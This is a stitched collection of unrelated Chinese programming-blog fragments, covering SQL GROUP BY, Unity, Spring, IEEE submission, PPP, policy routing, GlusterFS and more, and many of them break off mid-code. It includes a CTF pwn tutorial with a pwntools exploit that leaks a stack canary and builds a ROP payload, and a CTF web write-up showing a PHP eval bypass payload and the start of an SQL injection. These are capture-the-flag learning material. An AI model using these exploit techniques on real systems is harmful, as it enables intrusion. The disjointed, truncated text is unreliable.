即需要在run=>Edit Configuration中点击Python,将name改为你需要执行的文件名字
在Script path中加入执行该文件的完整路径
注意如果路径名为:C:\Users\风飘 小谭谭\Desktop\爬虫实战1
则后面运行代码时会报错:can’t find ‘main’ module
所以必须加上完整的路径。
修改完成后终于出结果了。
在这里总结一下,本来我还想是在不行就卸载软件吧,但是后面一想,应该不是软件的问题,而且有时候你解决问题的方向出了错就不能解决问题,首先需要思考出现问题的可能原因,然后再去寻找答案。
这里简单总结。
引言 用了好久group by,今天早上一觉醒来,突然感觉group by好陌生,总有个筋别不过来,为什么不能够select * from Table group by id,为什么一定不能是*,而是某一个列或者某个列的聚合函数,group by 多个字段可以怎么去很好的理解呢?不过最后还是转过来了,简单写写吧,大牛们直接略过吧。
表一 数据原始表test:
执行如下SQL语句,得到结果表二:
SELECT name FROM test GROUP BY name 表二 虚拟表三 可是为了能够更好的理解“group by多个列”和“聚合函数”的应用,我建议在思考的过程中,由表1到表2的过程中,增加一个虚构的中间表:虚拟表3。
SQL语句执行分析 1.FROM test:该句执行后,结果和表1一样,就是原来的表。
2.FROM test Group BY name:该句执行后,我们想象生成了虚拟表3,如下所图所示,生成过程是这样的:group by name,那么找name那一列,具有相同name值的行,合并成一行。如对于name值为aa的,那么[1 aa 2]与[2 aa 3]两行数据合并成1行,所有的id值和number值写到一个单元格里面。
3.针对虚拟表3执行Select语句:
(1)如果执行select *的话,那么返回的结果应该是虚拟表3,可是id和number中有的单元格里面的内容是多个值的,而关系数据库就是基于关系的,单元格中是不允许有多个值的,所以你看,执行select * 语句就报错了。
(2)我们再看name列,每个单元格只有一个数据,所以我们SELECT name的话,就没有问题了,结果就是最后的表二。为什么name列每个单元格只有一个值呢,因为我们就是用name列来group by的。
(3)那么对于id和number里面的单元格有多个数据的情况怎么办呢?答案就是用聚合函数,聚合函数就用来输入多个数据,输出一个数据的。如cout(id),sum(number),而每个聚合函数的输入就是每一个多数据的单元格。
(4)例如我们执行select name,sum(number) from test group by name,那么sum就对虚拟表3的number列的每个单元格进行sum操作,例如对name为aa的那一行的number列执行sum操作,即2+3,返回5,最后执行结果如下:
(5)group by 多个字段该怎么理解呢:如group by name,number,我们可以把name和number 看成一个整体字段,以他们整体来进行分组的。如下图:
(6)接下来就可以配合select和聚合函数进行操作了。如执行select name,sum(id) from test group by name,number,结果如下图:
6-26 在数组中查找指定元素 (15分)
本题要求实现一个在数组中查找指定元素的简单函数。
函数接口定义:
int search( int list[], int n, int x );
其中list[]是用户传入的数组;n(≥0)是list[]中元素的个数;x是待查找的元素。如果找到
则函数search返回相应元素的最小下标(下标从0开始),否则返回−1。
裁判测试程序样例:
#include <stdio.h>
#define MAXN 10
int search( int list[], int n, int x );
int main()
{
int i, index, n, x;
int a[MAXN];
scanf("%d", &n); for( i = 0; i < n; i++ ) scanf("%d", &a[i]); scanf("%d", &x); index = search( a, n, x ); if( index != -1 ) printf("index = %d\n"
首先在unity中,AddListener方法的是需要一个无参的方法的,但是很多需求导致我们都必须要传递参数,这时候就会和你困难,所以呢我不多比比,直接上最简单的方式:
使用兰姆达表达式
Button.onClick.AddListener(() =>{ SceneManager.LoadScene(name); });
这样确实能满足一定的需要了,但是有时候我们的需求会更诡异,比如我遇到的这个问题:我需要有很多的按钮,但是他们执行的都是跳转场景,只是场景名不一样,大多是人的感觉是这么写:
public List BS = new List();
public List ScenceName = new List();
void OnEnable()
{
for (int i = 0; i < BS.Count; i++)
{ BS[i].onClick.AddListener(()=>{SceneManager.LoadScene(ScenceName[i]); }); }
}
很可惜,这么写一定会报错。。。。。因为兰姆达表达式其实相当于另一个方法了,这个i是传递不过去的。
但是,我们可以这么写:
public List BS = new List();
public List ScenceName = new List();
void OnEnable()
{
for (int i = 0; i < BS.Count; i++)
{int temp = i; BS[i].onClick.AddListener(() =>{ SceneManager.LoadScene(ScenceName[temp]); }); }
大数据开发独揽大权 大数据技术很早就在BAT这些公司生根发芽,但直到14、15年大数据技术才广泛应用在各大互联网公司,大数据技术由此深入各行各业。
此时大数据开发人才非常紧缺,很多公司大数据从立项,到大数据平台构建,到项目整个流程开发,到后期大数据项目的运维,都是由大数据开发人员一手完成(此时少有专业大数据运维人才)。但随着公司数据越来越多,业务越来越复杂,大数据集群规模越来越大,大数据团队也越来越大,大数据开发人员这种早期短平快、粗放式、简单无序的方式已经满足不了大数据平台的维护工作。此时迫切需要专业的大数据运维人才,负责大数据平台的运维、监控、安全。
大数据运维肩负使命 运维的发展速度日新月异,曾几何时,我们印象中认为运维就是跑机房、装系统、安装网络,干一些打杂的工作。但是现在的运维工作已经变得非常重要,运维人员的分工也更加精细化,规模稍微大一点的公司都会将运维细分为系统运维、应用运维、数据库运维、安全运维。
当技术发展到大数据云计算时代,出现了阿里云、腾讯云以及华为云之后,那么底层次的初级运维将会越来越少,中级层次的运维也会逐步被淘汰,高水平的大数据运维需求量则会日益增长。因为低层次的传统运维主要工作就是按部就班做好螺丝钉,而高层次的大数据运维则需要考虑大数据平台架构设计、大数据平台的自动化、智能化管理等。这其实是要求传统运维在大数据面前要改变思维、承担更多的工作责任,不但要保障大数据平台的稳定、高效运维以及切实安全,还需要具备大数据平台架构的设计能力,所以一个好的大数据运维工程师是有做大数据架构师的潜力。
大数据运维必备技能 大数据运维跟传统运维既密切相连又大不相同。传统运维面对的底层软硬件基本稳固,大数据运维面对的是商用硬件和复杂linux版本;传统运维面对的是单机架构为主,大数据运维面对复杂的分布式架构;传统运维大多维护闭源商业版系统,大数据运维通常面对开源系统,文档手册匮乏。大数据运维对自动化工具的依赖大大增加。那么大数据运维到底需要具备哪些技能呢?
大数据运维是新的机会,对于传统运维也是新的起点、新的机遇,大数据发展红利我们一起见证,不容错过(学习、交流wechat:971557118)。
0x00前言 对于刚开始入门pwn的萌新来说可能会遇到一些坑,这里我就来总结一下我之前做栈溢出的时候遇到的两种坑以及绕过技巧,具体我会通过例题来讲解,希望对此时正在入门的pwn的萌新能带来一些帮助。
0x01绕过canary canary是linux下的保护机制,它会保存在栈的某个位置上,一般来说64位的话会在rbp-0x8的位置,32位则在ebp-0x4的位置。当我们进行栈溢出的时候如果覆盖了canary值,程序就会调用stack_chk_fail来打印报错信息。在做题的时候最烦的就是这种,大大增加了栈溢出时的难度。通常有以下几种绕过方法:
1、通过read函数泄露canary。关键的一点就是read函数读取字符串的时候不会在末尾加上“\x00”,这就是gets函数不能用来泄露canary的原因(有些输出函数遇到‘\0’会截断)。
2、暴力破解canary。这种方法利用起来有限制,就是一般要程序中有fork函数创造出子进程,因为子进程是父进程复制出来的,所以canary也就跟父进程相同,在子进程中覆盖canary后报错就会退回到父进程,此时canary的值是不会改变的。
3、劫持stack_chk_fail。因为canary被覆盖的时候会调用这个函数,所以如果我们可以利用程序中的漏洞(比如格式化字符串)改got表中stack_chk_fail的地址为one_gadget的地址就能getshell。
4、利用stack_chk_fail的报错信息。在报错信息中,会将你发生栈溢出的程序名调用输出,其位置位于argv[0],我们可以将argv[0]的地址改写为我们想要获取的内容的地址,使它随着错误提示一起输出。
这里我主要是介绍第一种方法
“百度杯” 十二月场 easypwn 1、我们来简单运行一下并看一下它的保护,这里主要开启了NX和canary保护。
2、用ida打开反编译,这个程序比较简单,有两处栈溢出,第一处栈溢出主要利用read函数泄露canary,第二处就可以正常地ROP了。
3、我们来看一下它的栈结构,buf在rbp-0x50的位置,而canary在rbp-0x8的位置,偏移为0x48.
4、这里我们可以构造0x48个a字符,因为末尾没有‘\0’,所以调用printf函数的时候就会把后面的canary泄露出来,这里要普及的一个知识点就是canary最低一个字节是“\x00”,所以泄露出来之后要减去0xa。
io.recvuntil('Who are you?\n') io.sendline('a'*0x48) io.recvuntil('a'*0x48) canary=u64(io.recv(8))-0xa print hex(canary) 5、接下来要用到的是syscall系统调用的情况,调用号是0x3b就是execve()函数,利用read函数的返回值使得rax为0x3b,因为这主要讲的是canary,在这里就不详述系统调用了,下面贴上完整exp
from pwn import * context.binary = './easypwn' context.terminal = ['tmux','sp','-h'] context.log_level = 'debug' elf = ELF('./easypwn') io = process('./easypwn') #io = remote('106.75.66.195', 20000) #leak Canary io.recvuntil('Who are you?\n') io.sendline('a'*0x48) io.recvuntil('a'*0x48) canary=u64(io.recv(8))-0xa print hex(canary) log.info('canary:'+hex(canary)) #leak read_addr io.recvuntil('tell me your real name?\n') payload = 'A'*(0x50-0x8) payload += p64(canary) payload += 'A'*0x8 payload += p64(0x4007f3) payload += p64(elf.
前言 最近在学习springcloud时,遇到了许多坑,在使用ribbon的注解报错–No instances available for provider, 使用 @LoadBalanced //表明这个restRemplate开启负载均衡的功能,由于url错误报No instances available for provider
bug原因分析 出现No instances available for provider错误,主要是消费者在业务层调用服务提供者的服务时url写错了,项目名应该写服务提供者工程中yml文件中应用名
我的错误是url中应用名与服务提供者工程中yml应用名不一致引起的,只要把url的路径改成和yml的一致就可以了。
错误图解:
服务提供者yml:
正确图解
IEEE投稿流程 IEEE投稿流程
基本流程如下
1.注册账号,用学校邮箱账号,可能要关联orcid账号,按流程关联就好。
2.上传论文,有些需要word格式,有些需要pdf格式,有些需要laxet格式。根据需要自行选择。还需要输入论文标题,abstract等等,直接按照要求输入即可,不会有任何疑问。
3.论文上传。一般会给出引导,比如论文限制页数,单栏还是双栏,特别注意,如果双盲审有删去信息的需求,一定要在论文中删掉作者信息,所属单位,基金信息再上传,可以用author1,author2等等来代替。注意要求的论文格式,是pdf还是word还是laxet。注意选中文件后一定要点击上传,等待一会等它上传成功。
4.领域和关键词
领域会牵涉到编辑对审稿人的选择,一定要选择最相近的领域。另外,不确定某个期刊是否可以发表自己方向的论文时,可以注册一个账号看edics有没有自己研究方向即可。
keyword按照论文中填写即可,没有任何疑问。
5.作者和单位
这个地方容易出错,需要格外小心。
这样指定通讯作者(一般是导师哦)
选择assign as corresponding author即为指定通讯作者→弹出的对话框点击YES→操作完成之后通讯作者action仍然显示selection,但是在author一栏,他的名字后面已经出现 (corresponding author),如下图所示
指定通讯作者就完成啦
需要注意以下几点
(1)添加全所有作者
(2)注意顺序,前面的标号1234代表1作2作3作,不要弄乱
(3)所有作者的信息都应该填写完整,应该如示图中1作的写法。写全单位,地址,邮政编码等等。总之,作者方面有填空的地方都要填上,不要有空。即使不是必填项。如果不完整很有可能直接退回。
(4)注意要指派通讯作者,系统默认是一作,改成选择导师即可。
6.审稿人
一般空着就行,不用指派审稿人。
7.信息核对
填完的会有绿色对号,逐项审查。
cover letter套磁信,一般投稿的时候可以写也可以不写
funding基金,找老师要基金号。
剩余的信息,比如这个论文以前投过期刊或者会议吗?等等问题如实填写即可,不会有任何疑问。
最后提交。
一般会给你的邮箱发邮件告诉你投稿成功,也可以稿件查询状态。
有因为格式问题退回的可能,所以投稿后两三天内要注意查看论文状态,信息,和自己留下的邮箱,看有没有论文退回。
等两三天之后论文变成under review状态,即可确定已经投稿成功,不会退回。
文章首发于:
Pdsdt‘s Blog
周六两场比赛Xman和GXY_CTF,Xman因为是选拔赛,身为二流web人员,自知和pwn爷爷们有差距,就没有太过于上心比赛,做了misc之后,就去做北工大的比赛了,这里主要记录一下,北工大的GXY_CTF,感谢队友们的辛勤付出,PWN师傅一天打两场比赛真的很辛苦,这里把战队的所有解出题目贴出
WEB 禁止套娃 这个题目是最后一波放的题目,不过按照题目顺序是在第一个,访问页面,没有什么特别的tip,fuzz了一下发现存在git泄露
使用githack获取一下源码
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|nt|info|dec|bin|hex|oct|pi|log/i', $code)) { // echo $_GET['exp']; eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); 分析一下源代码,很经典的考察点,简单来说就是Bypass执行命令,和ByteCTF的无参数执行命令很像,我在博客里也总结过这个点,大概意义上就是让我们绕过题目的黑名单,通过拼接字符串的目的去读取文件,首先看一下flag.php文件的位置
访问页面发现不为空,所以我们只要获取当前页面的flag.php,在使用函数进行读取即可
可以看一下我原来的文章
尝试构造:
payload: print_r(highlight_file(next(array_reverse(scandir(pos(localeconv())))))); 分析一下,localeconv() 函数返回一包含本地数字及货币格式信息的数组,结合pos能得到.,也就是当前目录,然后再加上scandir就能获取当前目录的所有的文件,得到
然后用array_filp函数反转一下,现在flag就在数组的第二个,再用next执行当前数组的下一跳,就能执行flag,然后用highlight_file读文件
Babysqli 尝试登陆用户,当不是admin用户时提示
wrong user!
即admin用户存在,当用admin用户登陆时,密码输错提示
wrong pass!
但是当username输入admin’时,sql报错
接着中规中矩地进行sql注入,试探出字段数为3,根据题目描述password经过md5哈希加密过
查看报错页面源码时发现加密字符串,解密得到查询逻辑
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5 //解base32 c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw== //解base64 select * from user where username = '$name' 我们需要在user表里查询我们输入的字段名并进行判断,而我们什么都不知道,这时候就需要骚操作了
JdbcDaoSupport 之前是这样写dao的
public class AccountDaoImpl2 implements IAccountDao { @Autowired private JdbcTemplate jdbcTemplate; public void setJdbcTemplate(JdbcTemplate jdbcTemplate) { this.jdbcTemplate = jdbcTemplate; } public Account findAccountById(Integer id) { return jdbcTemplate.queryForObject("select * from account where id = ?",new BeanPropertyRowMapper<Account>(Account.class),id); } } 当继承了JdbcDaoSupport就不用自己创建JdbcTemplate了
可以简化成这样
public class AccountDaoImpl extends JdbcDaoSupport implements IAccountDao { public Account findAccountById(Integer id) { return super.getJdbcTemplate().queryForObject("select * from account where id = ?",new BeanPropertyRowMapper<Account>(Account.class),id); } } 但同时在spring配置文件中也要个AccountDaoImpl 注入数据源
<bean id="accountDao" class="
1. 数字转字符串
-- 1. CONCAT 拼接,CONCAT 函数可以拼接多个值 SELECT CONCAT(123,'aa',456) AS str; -- 2. CAST 类型转换,转字符串一定要用 CHAR,不能用 VARCHAR SELECT CAST(123 AS CHAR) AS str; 2. 字符串转数字
-- 1. CAST 类型转换 SELECT CAST('123' AS SIGNED); -- 2. CONVERT 类型转换 SELECT CONVERT('123', SIGNED);
认识异常 Python用异常对象(Exception Object)来表示异常情况,在遇到错误后,异常对象会引发异常,如果异常对象并未被处理过被捕捉到程序责会利用回溯(Trackback)一种错误现象来终止程序 open("text.txt",'r') 我们通过open方法以只读的形式打开一个文件然后pyhon抛出一个FileNotFoundError类型的异常,他告诉我们No such file or directory :"test.txt" 没有test.txt这样的文件或目录 因为我们没有创建这样的文件所有才才找不到 既然我们知道打开一个不存在的文件时Pyhon会抛出一个 FileNotFoundError,按我我们可以通过Python提供的 try except 语句来捕捉并处理这个异常 创建test.py文件并写出一下代码 try : open("abc.txt",'r') except FileNotFoundError print("异常了啊") 再次运行程序因为 try except 捕捉到FileNotfoundError 异常 所以会打印)(异常了啊) 再次修改程序,使其打印一个没有定义的比变量a try : print(a) except FileNotFoundError print("异常了啊") 我们不是已经通过 try except 来接收异常信息了吗为什么还是会报错呢,细品就会发现这次的错误是 NameError类型的错误而FileNotFoundError 只能接收找不到文件类型的错误 驴唇不对马嘴的意思 这里我们只需要将异常的类型改为NameError就可以了 try : print(a) except NameError : print("异常了啦") 知识延伸:异常的抛出机制 1.如果在程序运行中发生异常,那么解释器会查找相应的处理语句称为(handler) 2.如果在当前函数里没有找到相应的处理语句,那么解释器会将异常传递给上层的调用函数,看看上层函数能否处理 3.如过在最外层函数全局函数main() 也没有找到,那么解释器会退出,同时打印Traceback,以便让用户找到错误原因 注意:虽然大多数错误都会导致异常,但异常也不一定代表错误,有时候他们只是个警告,有时候是个终止信号,如退出循环等 在Python中,所有的异常类都继承自Exception 但自pyhon2.5后所有的异常类就有了新类BaseException,Exception同样也继承与BaseException 所以我们可以使用BaseException来接收所有类型的异常 try : print(a) open("adb.txt",'r') except BaseException : print("异常了啦") 对于以上异常,BaseException就能捕捉到异常并打印异常了,但是我们不知道具体时间哪一行出现了异常 如何让Pyhon告诉我们是哪一行代码出现了错误 try : print(a) open("
支付宝账户名(包括手机号或邮箱地址)显示必须脱敏显示。 手机号显示建议: 显示前3位 + ****** + 后2位, 如137******50邮箱地址显示建议: @前面的字符显示3位, 3位后显示3个*, @后面完整显示如:com***@163.com , 如果@前字符少于三位, 则全部显示并在@前加***, 例如tt@163.com则显示为tt***@163.com + (NSString*) getSecrectStringWithAlipayAccount:(NSString*)account { NSMutableString *newStr; if ([TTDataCheck isMobileNumber_str:account] && account.length == 11) {//验证为手机号 newStr = [NSMutableString stringWithString:account]; NSRange range = NSMakeRange(3, 6); [newStr replaceCharactersInRange:range withString:@"******"]; }else{ //处理邮箱字符串 // 12345678@qq.com -->> 邮箱123****89@qq.com NSArray * emailArray = [account componentsSeparatedByString:@"@"]; NSString * emailHead = emailArray.firstObject; NSString * emailLast = emailArray.lastObject; //拼接 NSInteger emailHeadLength = emailHead.length; if(emailHeadLength>3) {//大于3位的邮箱 可以拼接前三位后两位方式 newStr = [NSMutableString stringWithString:[emailHead substringToIndex:3]]; for (int i = 0; i < 3; i++) [newStr appendString:@"
有时使用TextView时需要在文字间显示空格,但是又不想用2个textview来实现,这时有2种方式可以实现TextView文字之间空格。
在xml中直接填写文字,如: android:text=“你好 hello” // 显示 你好 hello(中间2个空格) 1的写法虽然解决了问题,但是不利于语言国际化,一般字符串显示都是通过资源文件string来实现的: <string name=“hello”>你好 hello</string> android:text=“@string/hello” // 显示你好 hello(中间只有1个空格) 问题来了:
可以看到通过资源文件的方法无论中间隔多少个空格,结果都是只有1个空格。
解决方法:
在资源文件中输入空格时,可以使用输入法的全角功能来输入空格,这样在代码中会解析为 ,这个编码就是空格的编码。
Jenkins 部署 – Failed to connect to repository
问题:
Failed to connect to repository : Command "git ls-remote -h XXXXX.git HEAD" returned status code 128: stdout: stderr: GitLab: The project you were looking for could not be found. fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists. 解决方案:
1、排查服务器是否存在问题:查看服务器的对应的连接方式(ssh和http方式)是否能够正常使用
2、确认1无问题后,推荐:https://www.cnblogs.com/cnlg123/p/7762889.html
此项目中我们将element-ui 自定义主题,并且覆盖更改了一些样式
作用:
1.避免在每个项目中重新生成主题文件
2.避免每个项目不一致性
3.增加可维护性
开始
在src目录下建了一个index.js文件用于导出重新的less文件和element-ui编译出的font和css文件
这里要注意先后顺序,相同样式的情况下后面的会覆盖前面的
index为编译出的主题样式文件
segma-ui为在编译的基础上再覆盖的样式文件(主题编译更改有限,比如hover active的效果不好更改)
package.js 中新增一条编译为库的命令,vuecli3提供了一个构建目标库的命令,
可以查看官方文档详细了解:https://cli.vuejs.org/zh/guide/build-targets.html#%E5%BA%93
vue-cli-service build --target lib --name myLib [entry] --target : 构建目标,默认为应用模式。这里修改为 lib 启用库模式。--dest : 输出目录,默认 dist 。这里我们改成 lib[entry] : 最后一个参数为入口文件,默认为 src/App.vue 。这里我们指定编译 packages/ 组件库目录。 这里我添加的是 src/index.js 我在index.js中导出了我需要的组件或者文件
... "scripts": { ... "lib": "vue-cli-service build --target lib --name vue-svgicon-coms --dest lib src/index.js", ... }, ... 并在package.json中添加npm包的一些详细信息,仅供参考: { "name": "segma-ui", "version": "0.1.1", "private": false, "scripts": { "serve": "
1.有父页面部分代码如下:
<div style="width:100%;height:auto">
<iframe src=' /sonIframe.jsp' width='100%' height='100%' frameborder='0' id='sonID'></iframe>
</div>
2.设父页面有方法:
function closeIframe(){}
3.子页面调用父页面方法:
parent.window.closeIframe()
该文章用图例+代码方式演示了,一个线上软件基本框架(精简)。开发工具Qt+VS2015
一. 基本要素 这里会用简单的图例和完整代码(这里以Qt代码为例),说明一个线上软件基本的框架。
一个线上windows软件,一般分为几个大的部分
1 UI模块 负责处理来自业务逻辑层或者其它模块的数据展示
2 网络模块 A http、https请求
B websocket(该文章不做赘述)
封装post或get请求,处理请求返回、超时等
3 业务逻辑模块 这里主要处理的是网络模块返回数据的处理,并把结果通知UI模块
4 中间层 负责关联网络模块和业务逻辑模块
5 独立模块(守护进程、更新模块、日志收集模块…) 该文章不做赘述
这里UI模块并非纯UI,其中也有业务逻辑处理。 UI模块和业务逻辑模块 可以做成更低耦合,但是会有降低效率的代价
二. 图例部分 这里用精简代码演示了
1 从用户操作UI(调用UIMainWnd::sendAsk())
2 发送网络请求(Network::_post(),Network::_get())
3 到请求结果返回(Network::requestFinished())
4 对返回数据处理(BusinessLogicManager::onAskAction())
5 通知UI模块显示(UIMainWnd::on_ask_action())
三. 代码部分 这里使用精简Qt代码演示
1 配置文件模块 #pragma once /********************************************************************* *@file ConfigDef.h *@brief 管理枚举enum、定义define、QString... *@author *@date *********************************************************************/ ///@ 网路请求消息结构 typedef struct _tagNetMessage { QString _type; // 类型 int _flag; // 标识 QString _url; // 接口Url QString _method; // 请求方式 QByteArray _byte; // 参数 }NetMessage; // 请求接口 /// @brief 发送聊天消息 #define API_POST_ASK_ACTION "
本题目要求读入若干以回车结束的字符串表示的整数或者浮点数,然后将每个数中的所有数字全部加总求和。
输入格式:
每行一个整数或者浮点数。保证在浮点数范围内。
输出格式:
整数或者浮点数中的数字之和。题目保证和在整型范围内。
输入样例:
-123.01
234
输出样例:
7
9
import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner sc=new Scanner(System.in); while (true){ String s = sc.nextLine(); char[] chars = s.toCharArray(); int sum=0; for (int i=0;i<chars.length;i++){ if (chars[i]=='-'||chars[i]=='+'||chars[i]=='.') { }else { //计算char类型大小时,转int时需要-‘0’或者-48 int tmp=Integer.valueOf(chars[i])-48; sum+=tmp; } } System.out.println(sum); } } }
目录 组成部分PPP链路建立过程创建PPP链路用户验证调用网络层协议 认证方式口令验证协议(PAP)挑战握手验证协议(CHAP) PPP协议的应用 点对点协议(Point to Point Protocol,PPP)为在点对点连接上传输多协议数据包提供了一个标准方法。PPP 最初设计是为两个对等节点之间的 IP 流量传输提供一种封装协议。在 TCP-IP 协议集中它是一种用来同步调制连接的数据链路层协议(OSI模式中的第二层),替代了原来非标准的第二层协议,即 SLIP。
组成部分 封装:一种封装多协议数据报的方法。PPP 封装提供了不同网络层协议同时在同一链路传输的多路复用技术。
链路控制协议(LCP):一种扩展链路控制协议,用于建立、配置、测试和管理数据链路连接。
网络控制协议(NCP):协商该链路上所传输的数据包格式与类型,建立、配置不同的网络层协议
认证协议:包括口令验证协议PAP和挑战握手协议验证协议CHAP
PPP链路建立过程 一个典型的链路建立分为三个阶段:创建阶段、认证阶段和网络协商阶段
创建PPP链路 LCP复制创建链路,在这个阶段将对基本的通讯方式进行选择。链路两端通过LCP向对方发送配置信息报文。一旦一个配置成功信息包被发送且被接收,就完成了交换,进入了LCP开启状态。注意:此时还没进行验证
用户验证 在这个阶段中,客户端会将自己的身份发送给远端的接入服务器。该阶段使用一种安全验证方式避免第三方窃取数据或者冒充远程客户接管与客户端的连接。如果认证没能万恒,将拒绝进入到网络层协议阶段,如果认证失败,认证者应转至终止阶段。
在这个阶段中,只有链路控制协议、认证协议和链路质量监视协议的包被允许。
调用网络层协议 认证通过后,PPP将调用在链路创建阶段选定的各种网络控制协议。选定的NCP解决PPP链路之上的高层协议问题。
认证方式 口令验证协议(PAP) 网络接入服务器(NAS)要求用户提供用户名和口令,而PAP提供了一种简单的方法让对端使用2次握手来建立自己的身份,并且以明文方式返回用户信息。所以,这种验证方式是不安全的,第三方可以很容易的获取到传送的用户名和口令,并利用口令与NAS建立连接获取NAS提供的所有资源。
挑战握手验证协议(CHAP) CHAP使用3次握手周期性验证对端的身份,这是在链路建立的开始完成的,建立完成后任何时间都可以重复的发送再验证。NAS向远程用户发送一个挑战口令,其中包括会话ID和一个任意生成的挑战字串。远程客户必须使用MD5单向哈希算法返回用户名和加密的挑战口令,会话ID以及用户口令,其中用户名以非哈希方式发送。
PPP协议的应用 PPP协议是目前广域网上应用最广泛的协议之一,它的优点在于简单、具备用户验证能力、可以解决ip分配等。
家庭拨号上网就是通过PPP在用户端和运营商的接入服务器之间建立通信链路。目前宽带接入正在取代拨号上网,但是笔者的老家依然用的是拨号上网0.0。随着技术的发展,PPP也衍生了新的应用。比如在ADSL(非对称数据用户环线)接入方式当中,PPP与其他协议碰撞出了PPPOE、PPPOA。
利用以太网资源,在以太网上运行PPP来进行用户认证接入的方式称为PPPOE。PPPOE即保护了用户方的以太网资源,又完成了ADSL的接入要求,是目前ADSL接入方式中应用最广泛的技术标准。同样在ATM(异步传输模式)网络上运行PPP协议来管理用户认证的方式称为PPPOA。它和PPPOE的原理作用相同,不同的是它运行在ATM网络上。
目录 什么叫策略路由?策略路由优点策略路由流程route-map概念定义route-map格式route-map特征 相关配置基于源地址的策略路由基于目的地址的策略路由基于报文长度的策略路由 什么叫策略路由? 所谓策略路由,顾名思义,即是根据一定的策略进行报文转发,因此策略路由是一种比目的路由更灵活的路由机制。在路由器转发一个数据报文时,首先根据配置的规则对报文进行过滤,匹配成功则按照一定的转发策略进行报文转发。这种规则可以是基于标准和扩展访问控制列表,也可以基于报文的长度;而转发策略则是控制报文按照指定的策略路由表进行转发,也可以修改报文的IP优先字段。因此,策略路由是对传统IP路由机制的有效增强。
策略路由优点 可以实现不同的用户选择不同的ISP(比如电信,网通的互联互通)使用route-map及策略路由可以根据数据包的特征修改相关QoS项,进而为QoS服务负载均衡。通过设置数据包的行为如下一跳,使用不同的链路,从而提供高效的负载均衡能力。 策略路由流程 使用Route-map来配置策略路由的流程,策略路由只对入口数据包有效。
应用策略路由,必须要指定策略路由使用的路由映射,并且要创建路由映射。一个路由映射由很多条策略组成,每个策略都定义了1个或多个的匹配规则和对应操作。一个接口应用策略路由后,将对该接口接收到的所有包进行检查,不符合路由映射任何策略的数据包将按照通常的路由转发进行处理,符合路由映射中某个策略的数据包就按照该策略中定义的操作进行处理。
route-map概念 route-map即路由映射表,是由一组match字句和set字句构成,他实际上是访问控制列表的一个超集。主要功能包括路由控制和策略路由等。
类似于复杂的Access-list
自顶向下地处理,一旦有一条匹配,则立刻结束route-map查找Route-map每个条目都被赋予编号,可以任意地插入或删除条目
定义route-map格式 定义路由映射表:
route-map map-tag [permit | deny] [sequence-number] 条件匹配:
macth(常用的匹配条件包括IP地址、接口、度量值、tag、路由类型以及数据包长度等) 如果格式为:match ip address a b c 表示逻辑或,只要有一个条件满足即可 如果格式为:match ip address a match ip address b match ip address c 表示逻辑与,必须同时满足所有条件 定义行为:set
Set行为描述set ip next hop设定数据包的下一跳地址set interface设定数据包出接口set ip default next hop设置默认的下一跳地址,用于当路由表里没有达到目的地址路由条目的时候set ip tos设定IP数据包的TOS值set ip precedence设定IP数据包的优先级Set metric设置路由的度量值set tag设定路由的标记值 route-map特征 A.一个route map末尾默认行为是“deny any”
如执行策略路由时,没有匹配则正常转发
如路由重分时,没有匹配则被过滤掉
B.一个route map可以包含多个route map陈述,从上到下被执行,如route map陈述中没有math,则匹配所有。
GFS基础配置安装 基本概述 GFS是一个可扩展的分布式文件系统,用于大型的、分布式的、对大量数据进行访问的应用。它运行于廉价的普通硬件上,并提供容错功能。它可以给大量的用户提供总体性能较高的服务。
基本结构图 基本部署步骤 一、实验准备 名称角色IP地址centos7-1node1192.168.142.66centos7-2node2192.168.142.77centos7-3node3192.168.142.132centos7-4node4192.168.142.136centos7-minclient192.168.142.172 二、开始安装 (1)为满足实验目的增添硬盘 centos7-1
/dev/sdb1 20G 33M 20G 1% /mnt/sdb1 /dev/sdc1 20G 33M 20G 1% /mnt/sdc1 /dev/sdd1 20G 33M 20G 1% /mnt/sdd1 /dev/sde1 20G 33M 20G 1% /mnt/sde1 centos7-2
/dev/sdb1 20G 33M 20G 1% /mnt/sdb1 /dev/sdc1 20G 33M 20G 1% /mnt/sdc1 /dev/sdd1 20G 33M 20G 1% /mnt/sdd1 /dev/sde1 20G 33M 20G 1% /mnt/sde1 centos7-3
/dev/sdb1 20G 33M 20G 1% /mnt/sdb1 /dev/sdc1 20G 33M 20G 1% /mnt/sdc1 /dev/sdd1 20G 33M 20G 1% /mnt/sdd1 /dev/sde1 20G 33M 20G 1% /mnt/sde1 centos7-4
芯片和CPU有什么不同? 芯片是“集成电路”的俗称。集成电路有模拟集成电路和数字集成电路,如果一片集成电路(芯片)中既有模拟电路又有数字电路,则称其为数模混合集成电路。
CPU是中央处理器,包含运算器和控制器,是数字电路。如果将运算器和控制器集成在一片集成电路上,就称之为微处理器。目前人们将中央处理器与微处理器已经混为一谈了。
因此,CPU是一种数字芯片,只是众多芯片中的一类。
CPU的制造是一项极为复杂的过程,当今世上只有少数几家厂商具备研发和生产CPU的能力。CPU的发展史也可以看作是制作工艺的发展史。
CPU(Centralprocessingunit)是现代计算机的核心部件,又称为“微处理器(Microprocessor)”。对于PC而言,CPU的规格与频率常常被用来作为衡量一台电脑性能强弱重要指标。Intelx86架构已经经历了二十多个年头,而x86架构的CPU对我们大多数人的工作、生活影响颇为深远。
制造CPU的基本原料 如果问及CPU的原料是什么,大家都会轻而易举的给出答案—是硅。这是不假,但硅又来自哪里呢?其实就是那些最不起眼的沙子。难以想象吧,价格昂贵,结构复杂,功能强大,充满着神秘感的CPU竟然来自那根本一文不值的沙子。当然这中间必然要经历一个复杂的制造过程才行。不过不是随便抓一把沙子就可以做原料的,一定要精挑细选,从中提取出最最纯净的硅原料才行。试想一下,如果用那最最廉价而又储量充足的原料做成CPU,那么成品的质量会怎样,你还能用上像现在这样高性能的处理器吗?
